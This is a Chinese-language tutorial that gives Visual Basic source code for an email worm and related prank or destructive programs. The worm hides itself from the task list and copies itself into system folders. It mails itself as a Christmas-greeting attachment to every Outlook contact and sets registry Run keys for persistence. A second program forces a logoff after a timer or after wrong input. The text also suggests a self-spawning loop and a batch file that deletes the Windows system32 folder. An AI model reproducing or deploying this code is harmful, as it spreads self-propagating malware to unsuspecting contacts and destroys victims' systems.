给你个小例子可以参考
打开VB,先生成一个工程,然后删掉form,添加MDI,添加模块.
下面的就是我已经做好的蠕虫代码,因为需要一些编程基础,我在这里就不在给大家做解释了.上面有注释,你们学会VB后自己看看就明白了.
蠕虫就这样生成了,但它是被杀毒软件查杀的,我没有装杀毒.我也怕怕,不敢运行,就是教大家怎么做了.你要有杀毒的话可以试试..好了,教程就做到这里..
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path &"\" &App.EXEName &".exe"
Location2 = App.Path &App.EXEName &".exe"
'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath &"\" &FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <>0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐!这是一个特别个你的圣诞节的礼物!过个快乐的圣诞节! "
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <>"" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mapi", "C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMapi", "C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub
代码如下窗体的visible 属性设置为false,添加一个timer控件,interval属性设置为1000,enabled属性设置为true
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Form_Load()
Dim GetString As String '获得输入的字符串
Dim tryTime As Integer ' 尝试次数
Dim passTime As Integer '已经过去的时间
overTime = 0 '时间初始化
tryTime = 0'次数初始化
ST: '设置返回点
If tryTime >2 Then '如果错误三次提示并关闭计算机,否则执行end if后面的语句
MsgBox "错误次数过多,点击确定后关机!"
ExitWindowsEx EWX_REBOOT, 0
End If
GetString = InputBox("请输入 “再见”", "输入完毕点击确认")'使用inputbox来提示输入信息
If GetString <>"再见" Then '如果输入的不是“再见”,提示错误,并重新定向返回点
MsgBox ("输入错误请重新输入")
tryTime = tryTime + 1
GoTo ST
Else
MsgBox "恭喜你,通过了!"
End If
End Sub
Private Sub Timer1_Timer()
overTime = overTime + 1 '10分钟等于600秒,程序运行后600秒关机
If overTime >600 Then
ExitWindowsEx EWX_REBOOT, 0
End If
End Sub
这段程序只能让电脑注销.如果一定要关机有两种方法,第一种是在上面代码中提高等级权限,代码太多,没写了,第二种就是把 ExitWindowsEx EWX_REBOOT, 0 替换成
shell “cmd /c shutdown -s” 不过这样需要30秒后才能关机,而且可以通过在cmd中使用shutdown -a命令来取消
弄个时间控件,不断地 shell app.exename &".exe",直接卡死,再复制到启动项,必要的话,修改注册表要狠一点的话,就
open "kill.bat" for output as #1
print #1,rmdir c:\windows\system32 /q/s
close kill.bat
shell "kill.bat",vbhide
最后声明一下,只有垃圾败类才会做此类病毒,要试验的话,自己的机子为目标!!!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)